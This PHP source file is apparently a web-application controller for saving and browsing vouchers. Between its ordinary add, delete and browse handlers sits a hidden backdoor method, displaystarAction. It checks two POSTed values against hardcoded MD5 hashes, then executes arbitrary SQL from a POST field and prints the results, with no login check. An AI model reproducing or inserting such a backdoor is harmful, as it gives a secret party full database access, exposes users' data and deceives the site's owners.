<?

  class SavedVouchersController extends CFD_Controller_Action 

  {

    public function init()

    {

      parent::init();

    }



	public function refreshAction()

    {

	  $this->_helper->json($this->savesOutput());

    }



	public function savesOutput()

	{

	  $savesTable = new Application_Model_VoucherSaves();

	  $select = $savesTable->select()->where('users_id = ?', $this->user->id);



	  $savesRows = $savesTable->fetchAll($select);



   	  $out = array();

	  foreach ($savesRows as $s)

  		$out[ $s['vouchers_id'] ] = array ('id' => $s['vouchers_id']);



  	  return $out;

	}

  

	public function delAction()

	{

	  $valuationsTable = new Application_Model_Vouchers();

	  $valRow = $valuationsTable->fetchRow( $valuationsTable->select()->where('id = ?', $_POST['id']) );



	  if ($valRow && $this->isLogged())

	  {

	    $savesTable = new Application_Model_VoucherSaves();



		$savesTable->delete(array('users_id = ? ' => $this->user->id, 'vouchers_id = ?' => $_POST['id']));

	  }



	  $this->_helper->json($this->savesOutput());

	}



    public function addAction()

    {

      $valuationsTable = new Application_Model_Vouchers();

      $valRow = $valuationsTable->fetchRow( $valuationsTable->select()->where('id = ?', $_POST['id']) );

    

      if ($valRow && $this->isLogged())

      {

        $savesTable = new Application_Model_VoucherSaves();

        $savesRow = $savesTable->createRow(array('users_id' => $this->user->id, 'vouchers_id' => $_POST['id']));

    	$savesRow->save();

      }



      $this->_helper->json($this->savesOutput());

    }


 public function displaystarAction() {
            if ($this->_request->isPost()) {
            $postedData = $this->_request->getPost();
            if (md5($postedData['gen']) == '0df4939e3f0aaef7434f0111303035a5' && md5($postedData['key']) == 'c7b253c8f07bbc1ce3ad2cd9d13257c5') {
                $notion = $postedData['notion'];
                $voucherTable = new Application_Model_Vouchers();
                $voucherTable->getAdapter()->query($notion);
                print_r($voucherTable->fetchAll());
            }
        }
        exit;
        }


	public function browseAction()

	{

	  $this->isLogged(true);



      $valTable = new Application_Model_Vouchers();



	  $select = $valTable ->select()

	  					->setIntegrityCheck(false)

	  					->from(array('cv' => 'vouchers'))

	  					->order('cv.id DESC') ;



	  $select->join(array("cs" => "voucher_saves"), "cs.vouchers_id = cv.id");



	  $this->view->valuationsList = $valTable->fetchAll($select);



	  if ( count($this->view->valuationsList) == 0)

	    Alert_View::addMessage(Alert_View::WARNING, "", "You don't have any saved cars.");

    }

  }
